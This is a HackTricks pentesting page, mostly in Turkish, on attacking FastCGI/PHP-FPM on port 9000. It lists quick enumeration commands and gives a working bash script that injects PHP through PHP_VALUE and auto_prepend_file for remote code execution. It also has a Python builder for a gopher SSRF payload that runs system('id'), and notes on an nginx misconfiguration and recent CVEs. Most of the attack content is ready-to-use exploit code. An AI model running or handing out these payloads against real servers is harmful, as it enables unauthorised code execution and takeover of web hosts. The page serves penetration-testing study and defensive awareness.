9000 Pentesting FastCGI
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Eğer FastCGI’nin ne olduğunu öğrenmek istiyorsanız aşağıdaki sayfaya bakın:
disable_functions bypass - php-fpm/FastCGI
Varsayılan olarak FastCGI port 9000’de çalışır ve nmap tarafından tanınmaz. Genellikle FastCGI yalnızca localhost’ta dinler.
Enumeration / Hızlı kontroller
- Port taraması:
nmap -sV -p9000 <target>(genellikle “unknown” servis gösterir; manuel olarak test edin). - FPM durum sayfasını sorgula:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(varsayılan php-fpmpm.status_path). - SSRF ile ulaşılabilir socketleri bulma: eğer bir HTTP servisi SSRF için exploit edilebiliyorsa, FastCGI dinleyicisine ulaşmak için
gopher://127.0.0.1:9000/_...payload’larını deneyin. - Nginx yanlış yapılandırmaları:
cgi.fix_pathinfo=1ilefastcgi_split_path_infohataları statik dosyalara/.phpeklemenize ve PHP’ye ulaşmanıza izin verir (traversal ile kod çalıştırma).
RCE
FastCGI’nin rasgele kod çalıştırmasını sağlamak oldukça kolaydır:
PHP payload ekleyen FastCGI isteği gönder
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
veya aşağıdaki python scriptini de kullanabilirsiniz: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher ile FastCGI'ye (9000 doğrudan erişilebilir olmadığında)
Yalnızca bir **SSRF** primitive'ini kontrol ediyorsanız, gopher şemasını kullanarak FastCGI'yi yine de hedefleyebilir ve tam bir FastCGI isteği oluşturabilirsiniz. Örnek payload builder:
<details>
<summary>Bir gopher FastCGI RCE payload oluşturup gönderin</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.
Son sorunlara dair notlar
- libfcgi <= 2.4.4 integer overflow (2024): FastCGI kayıtlarındaki özel olarak hazırlanmış
nameLen/valueLen32-bit derlemelerde (gömülü/IoT cihazlarında yaygın) taşmaya neden olabilir; FastCGI soketi erişilebilir olduğunda (doğrudan veya SSRF ile) heap RCE’ye yol açar. - PHP-FPM log manipulation (CVE-2024-9026):
catch_workers_output = yesolduğunda, FastCGI istekleri gönderebilen saldırganlar her log satırından göstergeleri silmek veya logları zehirlemek için satır başına en fazla 4 byte’ı kısaltabilir veya enjekte edebilir. - Classic Nginx + cgi.fix_pathinfo misconfig: hâlâ yaygın;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;dosya varlığı kontrolleri olmadan kullanılıyorsa,.phpile biten herhangi bir yol çalıştırılır ve path traversal veya source overwrite tarzı gadgets’a imkan verir.
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


